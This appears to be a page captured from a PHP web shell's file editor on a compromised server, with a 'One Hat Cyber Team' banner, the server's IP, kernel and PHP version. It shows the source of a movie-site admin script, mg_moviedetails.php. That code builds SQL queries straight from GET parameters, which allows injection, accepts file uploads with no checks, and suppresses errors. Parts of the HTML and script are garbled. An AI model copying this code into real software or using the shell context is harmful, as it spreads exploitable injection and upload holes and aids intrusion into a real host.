One Hat Cyber Team

Your IP : 216.73.216.240

Server IP : 162.240.106.28

Server : Linux server.ganesand.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64

Server Software : Apache

PHP Version : 7.1.33

Buat File | Buat Folder

Dir : ~/home/thoa/public_html/admin/

Edit File: mg_moviedetails.php

<?php include('config.php'); ?>

<?php

/*  $con = mysql_connect('localhost', 'root', '');

mysql_select_db("ecomm", $con);   */

error_reporting(0);

?>

<?php

$MO_ID = $_GET['MO_ID'];

$view = mysql_query("select * from movie where MO_ID = '".$MO_ID."'"); // for editing

$data = mysql_fetch_array($view);

if($_GET['SAI']){

$STS = $_GET['MO_STS'];

if($STS == 0){

$upd_sts =  mysql_query("UPDATE movie SET MO_STS ='0' WHERE MO_ID ='".$_GET['SAI']."'");  //for changing status

}

else{

$upd_sts =  mysql_query("UPDATE movie SET MO_STS ='1' WHERE MO_ID ='".$_GET['SAI']."'");

}

if($_GET['del_id']){ ?>

<?php $del = mysql_query("delete from movie where MO_ID='".$_GET['del_id']."'"); //for deleting status

if($del){?>

alert("Category deleted sucessfully");

window.location= "mg_moviedetails.php";

</script>

<?php }

if(!$del){?>

alert("Not able deleted sucessfully");

window.location= "mg_moviedetails.php";

</script>

<?php }

}

if($_POST['submit']){

$mname = mysql_real_escape_string($_POST['mname']);

$queryid=mysql_query("select *  from latest where LT_NAME = '".$mname."'");

while($rowid=mysql_fetch_array($queryid)) {
						
						$mid = $rowid['LT_ID']; 
					}
			  
			  $about = mysql_real_escape_string($_POST['about']);

$trailer= mysql_real_escape_string($_POST['trailer']);

$rating= mysql_real_escape_string($_POST['rating']);

$review= mysql_real_escape_string($_POST['review']);

$pdimage = ($_FILES['pd1image']['name']);

$pdimage1 = ($_FILES['pd2image']['name']);

$tmp_img1 = $_FILES['pd1image']['tmp_name'];

$tmp_img2 = $_FILES['pd2image']['tmp_name'];

move_uploaded_file($tmp_img1,"images/".$pdimage);

move_uploaded_file($tmp_img2,"images/".$pdimage1);

/* 			  $pddesc=mysql_real_escape_string($_POST['pddesc']);

$view1 = mysql_query("select * from section where SE_NAME = '".$sess."'"); // for cid

$data1 = mysql_fetch_array($view1);

$sid= $data1['SC_ID'];

$cid=$data1['CAT_ID'];

$seid=$data1['SE_ID'];
 */

if($_GET['MO_ID']==""){

$ins = mysql_query("insert into movie (MO_ID,MO_NAME,HERO_NAME,HEROIN_NAME,MO_ABOUT,MO_TRAILER,MO_RATE,MO_REVIEW) values('$mid','$mname','$pdimage','$pdimage1','$about','$trailer','$rating','$review')");

?><script>alert("Inserted sucessfully");

</script><?

}

if($_GET['MO_ID']!="")

if($_FILES['pd1image']['name']!="" && $_FILES['pd2image']['name']!=""){

$upd =  mysql_query("update movie set MO_NAME='$mname',HERO_NAME='$pdimage',HEROIN_NAME='$pdimage1',MO_ABOUT='$about',MO_TRAILER='$trailer',MO_RATE='$rating',MO_REVIEW='$review' where MO_ID='".$MO_ID."'");

//header('Location:mg_slide.php');

} 	elseif($_FILES['pd1image']['name']!=""){

$upd =  mysql_query("update movie set MO_NAME='$mname',HERO_NAME='$pdimage',MO_ABOUT='$about',MO_TRAILER='$trailer',MO_RATE='$rating',MO_REVIEW='$review' where MO_ID='".$MO_ID."'");

//header('Location:mg_slide.php');

}

else if($_FILES['pd2image']['name']!=""){

$upd =  mysql_query("update movie set MO_NAME='$mname',HEROIN_NAME='$pdimage1',MO_ABOUT='$about',MO_TRAILER='$trailer',MO_RATE='$rating',MO_REVIEW='$review' where MO_ID='".$MO_ID."'");

//header('Location:mg_slide.php');

}

else{

$upd =  mysql_query("update movie set MO_NAME='$mname',HERO_NAME='$pdimage',HEROIN_NAME='$pdimage1',MO_ABOUT='$about',MO_TRAILER='$trailer',MO_RATE='$rating',MO_REVIEW='$review' where MO_ID='".$MO_ID."'");

}

if($upd){?>

window.location ="mg_moviedetails.php"

</script>

<?php }

if(!$upd){?>

<?php }

}

?>

function del(id){

var del = confirm("Are you sure Want to delete");

if(del){

window.location.href = "mg_moviedetails.php?del_id="+id+"&del=1";

}

else{

window.location.href = "mg_moviedetails.php";

}

</script>

function showUser(str)

{

$.ajax({

type: "GET",

url: "getsub.php?q="+str,

success: function(result){

$("#subcat").html(result);

}

});

}

</script>

function showUser1(str)

{

$.ajax({

type: "GET",

url: "getsub1.php?q="+str,

success: function(result){

$("#subcat1").html(result);

}

});

}

</script>

function nval(n)

{

document.getElementById("n1").value = n ;

}

</script>

<!DOCTYPE html>

<html>

<head>

<title>Admin Panel</title>

<!--[if lt IE 9]>

<![endif]-->

</head>

tinymce.init({

selector: "textarea",

themes: "modern",

plugins: [

"advlist autolink lists link image charmap print preview anchor",

"searchreplace visualblocks code fullscreen",

"insertdatetime media table contextmenu paste"

],

});

</script>

<body>

<span class="sr-only">Toggle navigation</span>

</button>

<a class="navbar-brand" href="#">Admin</a>

<li><a href="#"><span class="glyphicon glyphicon-user"></span> Profile</a></li>

<li><a href="#"><span class="glyphicon glyphicon-cog"></span> Settings</a></li>

<li><a href="logou.php"><span class="glyphicon glyphicon-log-out"></span> Logout</a></li>

</ul>

</li>

</ul>

</div>

</div>

</nav>

</div>

</form>

<li class="active"><a href="dash.php"><span class="glyphicon glyphicon-dashboard"></span> Dashboard</a></li>
			<li><a href="mg_welcome.php"><span class="glyphicon glyphicon-th"></span> Manage Welcome Image</a></li>			
			<li><a href="mg_banner.php"><span class="glyphicon glyphicon-th"></span> Manage Banner</a></li>
			<li><a href="mg_trending.php"><span class="glyphicon glyphicon-th"></span> Manage Trending News</a></li>			
			<li><a href="mg_latest.php"><span class="glyphicon glyphicon-th"></span>Manage Lastest Movie</a></li>
			<li><a href="mg_moviedetails.php"><span class="glyphicon glyphicon-th"></span>Manage Movie Details</a></li>
		    <li><a href="mg_gallery.php"><span class="glyphicon glyphicon-th"></span>Manage Gallery</a></li>

</ul>

<div class="attribution">Template by <a href="#">Medialoot</a></div>

</div>

<li class="active">Manage Movie Details</li>

</ol>

</div>

<h2 class="page-header">Add Movie Details</h2>

</div>

</div>

<label for="exampleInputFile">Movie Name</label>

<?  if($MO_ID) {?>

<?php

$query1=mysql_query("select *  from movie where MO_ID = '".$MO_ID."'");

while($row1=mysql_fetch_array($query1)) {?>

<?php }?>

</select>

<?}else{?>

<?php

$query1=mysql_query("select *  from latest ");

while($row1=mysql_fetch_array($query1)) {?>

<?php }?>

</select>

<?}?>

</div>

<label for="exampleInputFile">Hero Photo</label>

<?php if($MO_ID){

?>

<img src = "images/<?php echo $data['HERO_NAME'];?>" height="100" width="100">

<?php }

?>

</div>

<div class="form-group col-sm-3">
					 <label for="exampleInputFile">Heroine Photo</label>

<div>

<?php if($MO_ID){

?>

<img src = "images/<?php echo $data['HEROIN_NAME'];?>" height="100" width="100"><br>

<?php }

?>

</div>

</div>
					
					<div class="form-group col-sm-11">

<label for="exampleInputEmail1">About Movie</label>

</div>

<label for="exampleInputEmail1">Trailer Link</label>

</div>	
					<div class="form-group col-sm-11">

<label for="exampleInputEmail1">Movie Rating</label>

</div>	
					<div class="form-group col-sm-11">

<label for="exampleInputEmail1">Movie Review</label>

</div>

<button type="submit" name="submit" value="submit" class="btn btn-primary">Submit</button>

<button type="reset" class="btn btn-primary">Reset</button>

</div>

</form>

</div>

</section>

<hr>

<div class="panel-heading">Movie Details Table</div>

<thead>

<tr>

<th data-field="name"  data-sortable="true">Movie Name</th>

<th data-field="action" data-sortable="true">Action</th>

<th data-field="status" data-sortable="true">Status</th>

</tr>

</thead>

<tbody>

<?php

$table = mysql_query("select * from movie");

$MO_ID=1;

while($row=mysql_fetch_array($table))

{

?>

<td><a href= "mg_moviedetails.php?MO_ID=<?php echo $row['MO_ID'];?>">Edit</a>/<a href="#" onclick="del(<?php echo $row['MO_ID'];?>)">Delete</a></td>

<td><?php if($row['MO_STS']==1) {?> <a href = "mg_moviedetails.php?MO_STS=0&SAI=<?php echo $row['MO_ID'];?>">Active</a> <?php } else {?> <a href = "mg_moviedetails.php?MO_STS=1&SAI=<?php echo $row['MO_ID'];?>">InActive </a> <?php } ?></td>

</tr>

<?php

$MO_ID++;

}?>

</tbody>

</table>

</div>

</div>

$('#calendar').datepicker({

});

!function ($) {

$(document).on("click","ul.nav li.parent > a > span.icon", function(){

$(this).find('em:first').toggleClass("glyphicon-minus");

});

$(".sidebar span.icon").find('em:first').addClass("glyphicon-plus");

}(window.jQuery);

$(window).on('resize', function () {

if ($(window).width() > 768) $('#sidebar-collapse').collapse('show')

})

$(window).on('resize', function () {

if ($(window).width() <= 767) $('#sidebar-collapse').collapse('hide')

})

</script>

function addMore() {

$("<DIV>").load("input.php", function() {

$("#movie").append($(this).html());

});

}

function deleteRow() {

$('DIV.movie-item').each(function(index, item){

jQuery(':checkbox', this).each(function () {

if ($(this).is(':checked')) {

$(item).remove();

}

});

}

</SCRIPT>

</body>

</html>